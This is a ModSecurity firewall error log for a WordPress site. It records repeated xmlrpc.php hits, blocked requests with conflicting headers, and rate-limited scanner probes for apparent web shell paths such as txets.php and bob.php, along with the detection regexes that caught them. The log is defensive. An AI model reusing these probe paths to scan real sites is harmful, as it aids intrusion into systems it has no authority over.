[Sat May 02 21:27:30.359916 2026] [:error] [pid 52012:tid 52096] [client 103.191.122.122:39903] [client 103.191.122.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX7wkzSWr-8cpS83mi1-gAAA1M"]
[Sat May 02 21:27:40.838269 2026] [:error] [pid 53435:tid 53473] [client 103.191.122.122:39804] [client 103.191.122.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX7zIDmp7_z8QkjSzPJqgAAAEE"]
[Sat May 02 21:27:51.296011 2026] [:error] [pid 51917:tid 51923] [client 103.191.122.122:39822] [client 103.191.122.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.122.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afX7167wZviJ7BgcCi9TBgAAAcQ"]
[Sat May 02 22:11:41.782885 2026] [:error] [pid 53435:tid 53474] [client 149.202.183.73:39428] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYGHYDmp7_z8QkjSzPTjgAAAEI"]
[Sat May 02 22:13:37.530035 2026] [:error] [pid 53435:tid 53486] [client 185.252.234.215:33604] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYGkYDmp7_z8QkjSzPUBQAAAE4"]
[Sat May 02 22:17:09.559797 2026] [:error] [pid 11894:tid 11910] [client 85.57.97.90:55710] [client 85.57.97.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.57.97.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYHZTHh6DQF1tkXIKzijQAAAU0"]
[Sat May 02 22:17:19.813528 2026] [:error] [pid 11894:tid 11913] [client 85.57.97.90:56163] [client 85.57.97.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.57.97.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYHbzHh6DQF1tkXIKzilgAAAVA"]
[Sat May 02 22:17:30.475303 2026] [:error] [pid 53435:tid 53476] [client 85.57.97.90:56535] [client 85.57.97.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.57.97.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYHeoDmp7_z8QkjSzPVRAAAAEQ"]
[Sat May 02 22:17:40.978644 2026] [:error] [pid 52010:tid 52065] [client 85.57.97.90:56907] [client 85.57.97.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.57.97.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYHhAiR6wohDtdeJMA2BQAAAtY"]
[Sat May 02 22:17:51.796574 2026] [:error] [pid 51950:tid 52003] [client 85.57.97.90:57281] [client 85.57.97.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.57.97.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYHj4oBJzYZ3RKUhdhlqAAAAlc"]
[Sat May 02 23:22:16.375832 2026] [:error] [pid 53435:tid 53489] [client 82.223.165.55:37034] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYWqIDmp7_z8QkjSzPorAAAAFE"]
[Sat May 02 23:31:40.792335 2026] [:error] [pid 51950:tid 51995] [client 148.113.189.81:50688] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYY3IoBJzYZ3RKUhdhz2wAAAk8"]
[Sat May 02 23:40:34.523804 2026] [:error] [pid 53434:tid 53451] [client 128.199.223.38:43818] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYa8u9BXmRQcbfsxlykYgAAAAg"]
[Sat May 02 23:52:23.751114 2026] [:error] [pid 52010:tid 52047] [client 148.113.180.195:33016] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYdtwiR6wohDtdeJMBMsQAAAsQ"]
[Sun May 03 00:10:16.514538 2026] [:error] [pid 11894:tid 11905] [client 181.217.162.144:6860] [client 181.217.162.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.217.162.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYh6DHh6DQF1tkXIKzxEgAAAUg"]
[Sun May 03 00:10:26.277927 2026] [:error] [pid 51917:tid 51931] [client 181.217.162.144:6720] [client 181.217.162.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.217.162.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYh8q7wZviJ7BgcCi9oVwAAAcw"]
[Sun May 03 00:10:37.351916 2026] [:error] [pid 22846:tid 22858] [client 181.217.162.144:6714] [client 181.217.162.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.217.162.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYh_Ym1Ms03Mfhp3aYORwAAAQo"]
[Sun May 03 00:10:47.827726 2026] [:error] [pid 51917:tid 51919] [client 181.217.162.144:6894] [client 181.217.162.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.217.162.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYiB67wZviJ7BgcCi9oXwAAAcA"]
[Sun May 03 00:10:58.650384 2026] [:error] [pid 51950:tid 51997] [client 181.217.162.144:6783] [client 181.217.162.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.217.162.144, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afYiEooBJzYZ3RKUhdh76gAAAlE"]
[Sun May 03 01:18:01.228317 2026] [:error] [pid 53435:tid 53482] [client 43.157.82.252:47862] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afYxyYDmp7_z8QkjSzMQkAAAAEo"]
[Sun May 03 02:05:22.460936 2026] [:error] [pid 51950:tid 51998] [client 43.135.142.7:59808] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afY84ooBJzYZ3RKUhdiQygAAAlI"]
[Sun May 03 02:51:16.947532 2026] [:error] [pid 53434:tid 53455] [client 91.98.158.245:43038] [client 91.98.158.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.98.158.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZHpO9BXmRQcbfsxlzA-wAAAAw"]
[Sun May 03 03:04:42.313204 2026] [:error] [pid 53435:tid 53472] [client 164.132.49.123:38362] [client 164.132.49.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.49.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZKyoDmp7_z8QkjSzMsJQAAAEA"]
[Sun May 03 04:26:03.760016 2026] [:error] [pid 40638:tid 40674] [client 45.154.98.197:60623] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afZd2_h3VcFjJ7H1mBaVggAAAEA"]
[Sun May 03 04:26:04.270998 2026] [:error] [pid 40732:tid 40756] [client 45.154.98.197:63921] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afZd3P1lQrIvlEdzcVfyggAAAMw"]
[Sun May 03 04:26:04.770279 2026] [:error] [pid 40732:tid 40765] [client 45.154.98.197:57839] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afZd3P1lQrIvlEdzcVfyiAAAANU"]
[Sun May 03 04:26:07.205387 2026] [:error] [pid 40637:tid 40654] [client 45.154.98.197:61343] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "afZd35B-U30YNJ6CyVgqKwAAAAc"]
[Sun May 03 05:16:07.037311 2026] [:error] [pid 21934:tid 21956] [client 211.21.61.244:45176] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZpl3WfIjnWjXCxeM4h4AAAARQ"]
[Sun May 03 05:25:31.670317 2026] [:error] [pid 40638:tid 40698] [client 185.108.129.81:56310] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZry_h3VcFjJ7H1mBam4QAAAFg"]
[Sun May 03 05:27:52.111959 2026] [:error] [pid 21934:tid 21953] [client 47.104.144.215:43348] [client 47.104.144.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.104.144.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZsWHWfIjnWjXCxeM4oGwAAARE"]
[Sun May 03 05:58:57.596292 2026] [:error] [pid 21934:tid 21947] [client 143.244.166.58:37060] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZzoXWfIjnWjXCxeM45GAAAAQs"]
[Sun May 03 06:35:27.331798 2026] [:error] [pid 37246:tid 37252] [client 82.223.101.71:34804] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZ8LzhvYFGNwhnPampOaQAAAQQ"]
[Sun May 03 06:49:26.856854 2026] [:error] [pid 40456:tid 40466] [client 155.133.132.65:40260] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afZ_djSujTvwdzEkjSfApAAAAYg"]
[Sun May 03 07:04:04.782778 2026] [:error] [pid 40386:tid 40389] [client 52.14.150.191:59024] [client 52.14.150.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.14.150.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afaC5FHJDYRXUf3IbRTSUwAAAME"]
[Sun May 03 08:15:05.240753 2026] [:error] [pid 40422:tid 40433] [client 43.156.228.27:60336] [client 43.156.228.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afaTiUHBbBLrXh6PBut_dwAAAUc"]
[Sun May 03 08:34:49.986219 2026] [:error] [pid 37246:tid 37273] [client 120.25.162.160:45112] [client 120.25.162.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.25.162.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afaYKThvYFGNwhnPamp_kAAAARc"]
[Sun May 03 08:40:24.083950 2026] [:error] [pid 40422:tid 40438] [client 20.151.130.38:62588] [client 20.151.130.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "afaZeEHBbBLrXh6PBuuMeQAAAUw"]
[Sun May 03 08:40:29.270785 2026] [:error] [pid 37246:tid 37274] [client 20.151.130.38:65469] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afaZfThvYFGNwhnPamqA5gAAARg"]
[Sun May 03 08:40:29.696029 2026] [:error] [pid 37130:tid 37222] [client 20.151.130.38:64812] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afaZfaIu7bmXKXicRk84ZgAAAIk"]
[Sun May 03 08:40:30.115433 2026] [:error] [pid 40456:tid 40479] [client 20.151.130.38:65524] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afaZfjSujTvwdzEkjSfgHgAAAZU"]
[Sun May 03 08:40:30.555870 2026] [:error] [pid 40456:tid 40460] [client 20.151.130.38:61894] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afaZfjSujTvwdzEkjSfgIgAAAYI"]
[Sun May 03 08:40:30.993123 2026] [:error] [pid 40456:tid 40470] [client 20.151.130.38:62560] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afaZfjSujTvwdzEkjSfgJQAAAYw"]
[Sun May 03 08:40:31.417811 2026] [:error] [pid 40456:tid 40476] [client 20.151.130.38:64833] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afaZfzSujTvwdzEkjSfgKwAAAZI"]
[Sun May 03 08:40:31.852147 2026] [:error] [pid 40422:tid 40436] [client 20.151.130.38:62520] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afaZf0HBbBLrXh6PBuuMjQAAAUo"]
[Sun May 03 08:40:32.302971 2026] [:error] [pid 40386:tid 40403] [client 20.151.130.38:65452] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afaZgFHJDYRXUf3IbRTiEwAAAM8"]
[Sun May 03 08:40:32.724752 2026] [:error] [pid 40456:tid 40475] [client 20.151.130.38:65432] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afaZgDSujTvwdzEkjSfgPwAAAZE"]
[Sun May 03 08:40:33.178146 2026] [:error] [pid 40386:tid 40396] [client 20.151.130.38:65471] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afaZgVHJDYRXUf3IbRTiFgAAAMg"]
[Sun May 03 08:40:33.613957 2026] [:error] [pid 40386:tid 40393] [client 20.151.130.38:64782] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afaZgVHJDYRXUf3IbRTiGAAAAMU"]
[Sun May 03 08:40:34.065385 2026] [:error] [pid 37126:tid 37166] [client 20.151.130.38:64789] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afaZgvR_A42N-LtDyrvi0gAAAA0"]
[Sun May 03 08:40:34.495016 2026] [:error] [pid 37130:tid 37230] [client 20.151.130.38:65487] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afaZgqIu7bmXKXicRk84aAAAAJE"]
[Sun May 03 08:40:34.912170 2026] [:error] [pid 40422:tid 40446] [client 20.151.130.38:65467] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afaZgkHBbBLrXh6PBuuMnQAAAVQ"]
[Sun May 03 08:40:35.581121 2026] [:error] [pid 40422:tid 40447] [client 20.151.130.38:65459] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afaZg0HBbBLrXh6PBuuMoQAAAVU"]
[Sun May 03 08:40:36.019665 2026] [:error] [pid 40456:tid 40469] [client 20.151.130.38:62473] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afaZhDSujTvwdzEkjSfgUwAAAYs"]
[Sun May 03 08:40:36.440306 2026] [:error] [pid 37126:tid 37176] [client 20.151.130.38:62581] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afaZhPR_A42N-LtDyrvi0wAAABc"]
[Sun May 03 08:40:36.857646 2026] [:error] [pid 37127:tid 37205] [client 20.151.130.38:62481] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afaZhP8khJXb5O5aWVXh5QAAAFM"]
